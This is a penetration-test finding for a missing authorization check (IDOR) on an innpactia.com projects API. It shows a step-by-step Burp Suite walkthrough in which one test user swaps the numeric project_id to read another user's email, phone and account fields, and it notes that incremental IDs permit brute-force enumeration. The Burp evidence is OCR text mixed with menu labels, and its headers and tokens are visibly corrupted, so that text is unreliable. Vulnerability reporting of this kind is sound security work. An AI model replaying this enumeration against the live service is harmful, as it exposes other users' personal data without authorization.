Severity High
Security Control Authorization
Vulnerability Missing Authorization [CWE-862]

Finding Description  Application has functionality for the user to view information. It does not have implement
authorization check for "project_id" parameter which allows user to view information of
any user by replacing "project_id" parameter.

Method of Manual
Identification

Affected Resources https://apid.innpactia.com/projects/entrepreneurship/10764
Affected Parameter project id

Evidence
Step 1: Let's say we have two users.

User 1: Alice - Victim
User 1: Bob - Attacker

Login to the application with user "Bob". Navigate to "Mis Proyectors" and click on
"View" button.
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Step 2: Intercept the following request using Burp Suite and observe the
"project_id" parameter. Send the request to Repeater.
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Burp Project Intruder Repeater View Help Scan
Dashboard Target Proxy Intruder Repeater Collaborator S Scan selected insertion point Logger Organizer Extensions Learn {5} Settings
HTTP history ~ WebSockets history {6} Proxy settings Do passive scan
" K Do active scan
ﬁ Request to https:/fapid.innpactia.com:443 [216.137.52.22] Send to Intruder Cui+l
Forward Drop Action 0Pt sendto. epeater Cir+R Comment tl W  HTTP2 @
Prett Raw  Hex Send to Sequencer n = a
1 GET /projects/entrepreneurship/10764 HTTP/2 Send to Comparer _
2 Host: api4.innpactia.com Send to Decoder =
3 User-Agent: Mozi}la/?.@ (X11; Ubum‘:u; Linux x86_64; rv:129. ganqio Organizer cr+o @ B2
4 Accept: application/json, text/plain, */* =}
5 Accept-Language: en-US,en;q=6.5 Insert Collaborator payload g
& Accept-Encoding: gzip, deflate, br Request in browser >

Authorization:

eydraWQioiJUMmZgakdme 2% vUURxcm1QcX160ThGakdizj JOZUZFM1ppcFE
mZTYyMWRLZTLANmMiLCJpe3Mi0iJodHRwezpel LwvY29nbmlOby 1pZHAUX
10aDY2aXBsbmtqNjQ2cWZrZ25vNj ASbm@4bCIsImSyaWdpbl 9qdGki01iI4N
TQAZDYENDRKOSESMTEGALWQGNDMS0DKyNWI1MSIsInRvazZVuX3VzZSI6ImFj

Engagement tools
Change request method
Change body encoding

“Ine .eyJzdWIi0iT4MTgyMzEGOMiGSMWM3LTQSNmY tODFKY1il
cL3VzLWVhc30tMY9oYB8we 1pma3Mil CI1jbG11bnRfawQi0i
1TNzEyN2Z1Nj VEMTKkiLCI1dmVudFOpZCISTjE1Y2IhN20Qz1
25pdGBucZlnbmlulnVzZXTuYWRtaW4il CIhdXRoX3RpbWlUi

0§E3Mj QyMzk5N] IsImVdc CIEMTcyNDMyN] H2MiwiaWFa 1] oxhz oM HsoTy  COPY URL _TQ40DctODK5Z41mN] LmMnYSMzdkYTYiLCI 1c2VybmFtZSI
511 gx0DIzMTQyL TkxYze tNDk2Z1 BAMWRLLWZIN] 1xZGV1DWE2YyJS. JxpIk  Copy as curl command (bash) T5n_zTN1BADNNUUImvmm049mgBQCcd04IRskkRIWZvgLx f
aPcfyiMwBuB5Bz2 re X fI9xSgsHboaz0xCMCQxuS02 TUXNVEYWz08RDVLSY Copy to file CkahcCGIUt4jhu3sFIy-611sNCJeQebg_gSQ_g4mMgFsr-b

pAsabiMcglShgMavgehNVeZ5dgl ImMIBFoxhIXE] 9UeNdE5BBMzZv1kBTbYs
8 0rigin: https://web.innpactia.com

Paste from file

NkE3kAk raQJuStBaWV rvmyMeSv_PrbKeIvN12w

9Dnt: 1 Save item
10 Sec-Gpc: 1 Don't intercept requests >
11 Referer: https://web.innpactia.com/

Do intercept
Convert selection

URL-encode as you type

Ctrl+X
Ctrl+C
Ctrl+V

Message editor documentation

12 Sec-Fetch-Dest: empty

13 Sec-Fetch-Mode: cors

14 Sec-Fetch-Site: same-site

15 Priority: u=0

16 Te: trailers Cut
17 Copy
18 Paste
@ {é} & ||| | Search

Proxy interception documentation

el 0 highlights

Step 3: Now, click on the send button and observe the response to of the original

request.
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m {&|| Cancel Target: https:lapid.innpactia.com f HTTPRI2 @
==
Request Response = &
Pretty Raw Hex o = Pretty Raw  Hex Rende n o= |5
— —— B e B B w
1 GET /projects/entrepreneurship/18764 HTTR/2 "user_id":71683, g
2 Host: api4.innpactia.com "plan_id":1, 2
3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:129.0) "type _of user":1, =
Gecko/20100101 Firefox/129.0 "username" : "bobB@1@yopmail .com”,
4 Accept: application/json, text/plain, */* "password" :null,
5 Accept-Language: en-US,en;q=0.5 "email": "bob®@1@yopmail .com",
& Accept-Enceding: gzip, deflate, br "first _name":"Bob",
7 Authorization: "ast name":"Test",
eyJraWQi0iJUMmZgakdme 2xvUURxemlQcX160ThGakdiZj JOZUZFMLppcFpGS25C2 "linkedin" :null,
G12PSTSIMFsZyI6T1ITM{U2IN0 . eyJzdWI1i01T4MTgyM=EGM1 G5MAM3L TQSNMYt 0D “phone._number" : 112014447777",
FiY11mZTYyMWRLZTLhNmMLLCIpc3M101IodHRwe zpel Lwy Y29nbiml Bby L pZHAUAXM "eurrency code":null,
tZWFzdCExLMFtYXpybnF3cy5jb21cL 3VzL WWhe 30tMVIoYBEwe Lpma3iliLCIibGLL “Language code" inull,
brR falQ101TBaDY2aXBsbmt aNjQ2cWZ rZ25vN] ASbmB4bCTs Im9yaWdpbl 9qdGk10 "custome FTdEpayca” UL,
1TAMWV] ZmhinZC1k ZWR1L TQxMWE L OTFkNy 1TNZEyN2Z1N] VkMTk iLCI1dmVudFIpze "ULtima actividad”:"2624-08-21T11:31:28.0002" ,
I6IjELY2IhN20zLTQ4ZDYENDRKOSOSMTEALWQONDMSODK yNWI1MSIs InRva2uX3v "demo" :null,
zZSI6ImMFjY2VzcyIsInNjb3B1IjoiYXdzLmNvZ25pdGBuc2lnbmlulnVzZXIuYWRt "isUserPact":null,
W41l CIhdXRoX3RpbWU10] E3M] QyMzk5N] TsTmVAcCTMT cyNDMyN ] M2M1wi aWFaT "acceptance terms and conditions":null,
0xNz10M] M50TYyLCIqdGk 101 12MWR1 YzU20C03MGY2L TQ40Dc tODKSZL1mN] Lmm "acceptance_data_policy":null,
YEMzdkYTYiLCI1c2VybnFtZSI611 gx0DIzMTQyL TkxYzc tNDk2Z104AMWRLLWZIN] T “phote” inull,
XZGYLOWE2YyJ9. IxpIKEUVSEgi-EgsTh_215YLgls_1QG2YLTSn_zTN1BADANULIm renabled” inull,
wmm049mg5QCcd04IRskQKRIWZv gl x faPc9fyiMwBuB5Bz2 re X fJ9xSgsHboaz0xCM "logo_id":null,
CQxuSeZTUXNVEVWzO0BRDVLSwSyU_KgcUTTmCKyakUD1x1o0UX5aloCkahcCGIUL4] "external adviser":"8",
hu3SFIy-611sNCJeQebg_gSQ_gdmMgFsr-bpXsabOMcqlShgMgvgeNVSZ5dgl ImMI "estado":True,
BFoxhJXE] 9UsNAESBEMZZv1kETbVsVxMky rXEARMEM Lt VW47 Yot RRAXbBahKE3k Ak "organizations”:{
@{@} € ||| | Search el 0 highlights @@ & ||| | Search 2 0 highlights
Done 3,599 bytes | 356 millis

Step 4: Here, change the "project id" parameter value and click on the send

button and observe the response.
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Technical Impact

Remediation
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Burp Project Intruder Repeater View Help

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer
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Request
Raw  Hex Bn

GET /projects/entreprensurship/18763 HTTP/2

Host: api4.innpactia.com

3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:129.0)
Gecko/20100101 Firefox/129.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;qg=0.5

Accept-Encoding: gzip, deflate, br

Authorization:

eyJraW(i0iJUMmZgakdme2xvUURxcm1QcX160ThGakdiZj JOZUZFM1ppcFpGS25CZ
G1zPSIsImFsZyIGI1ITMjU2ING .eylzdWIi0iI4MTgyMzEOMiO5MWM3LTQSNmYLOD
FRY11mZTYyMWRLZT1hNmMil CIpc3Mi0iJodHRwezpcl lwvY29nbml8bylpZHAUdKM
tZWFzdCOxLmFtYXpvbmF3cy5jb21cL3VZLWVhc3QtMVIoYR8we lpma3Mil CIjhGLL
brRfaW(i0iIfabY2aXBsbmtqNjQ2cWZ rZ25viNj ASbmB4bCIsIm9yaWdpbl9gdGkio
1T4MWV 3 ZmNmZC1KZWRIL TQxMWELOTFKMNy 1TNZEYNZZTN] VkMTk iLCITdmVudF9pZC
I6TiELY2IhN2QzLTQ4ZDYtNDRKOSOSMTEGLWQONDMSODK yNWI1MSIs InRvaZvuX3y
zZSIBIMFjY2VzeyIsInNjb3B1IjoiYXdzLmNvZ25pdGBuc2lnbmlulnVzZXIuYWRt
aW4il CIhdXRoX3RpbWUi07E3M] QyMzk5N] IsImV4cCIGMTcyNDMy N M2MiwiaWFOT
JoxNzIGMiM50TYyLCIqdGki0iIZMWRYZUZ0CE3MGY2LTQ400c tODKSZi1mNj TmMm
Y5MzdkYTYiLCI1c2VybmFtZSI61 gx0DIzMTQyL TkxYzc tNDk2Z104AMWRILWZ 1N T
xZGVIOWEZYyJ9. IxpIKEUVSEgi-Egsfh_2j5YLgls_1QG2YLTSn_zTN1BADNNUUIm
wmm049mg6QCcd04IRskQkROWZ vl x faPc9fyiMwBuB5Bz2 re X f19xSgsHboaz0xCM
COxuS0Z2TUXNVEVWZ0BRDVLSWSyU_KgeUTTmCKyakUD1x100UX5aloCkaheCGIULY
hu3SFIy-611sNCJeQebg_gSQ_gdmMoFsr-bpXsabOMcqlShgMgvaeNVSZ5dgl ImMI
BFoxhJXE] 9UeNdE5BBMzZv1k8TbYsVxMky rkE4RmEM1t VW47 Yo tRRAXbBghkE3kAk

@{@} €| | Search O 0 highlights
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Target: https://apid.innpactia.com f HTTR/2 @

==
Response = &
Pretty Raw  Hex Bw = s
 —— - = w
"currency_types_cuanto_dinero":null, 3
"user":{ 2
"creation_date":"2024-08-21T11:29:11.000Z", =}

"user_id":71682,

"plan_id":1,

"type_of_user":1,
"username":"aliced@l@yopmail.com"

"password" :null,

"email": "alice@Bl@yopmail .com”,
"first_name":"Alice",

"last_name":"Test",

“linkedin":null,

"phone_number":"12015551234",
"currency_code":null,

"language_code" :null,

"customerldEpayco" :null,
"ultima_actividad":"2024-08-21711:29:11.0007",
“demo” :null,

"isUserPact":null,
"acceptance_terms_and_conditions":null,
"acceptance_data_policy":null,

"photo":null,
"enabled":null,
"logo_id":1883,

@ {:C:!} & ||| | Search £ 0highlights
3,583 bytes | 355 millis

By exploiting this vulnerability an attacker can able to view information of any user.
As the "project_id" parameter is numeric and it is in incremental order. Attacker can able
to do the brute force attack on this endpoint and as a result an attacker can retrieve

account information of any user.

Application should implement server side validation for the affected parameter while

user sends the following request .
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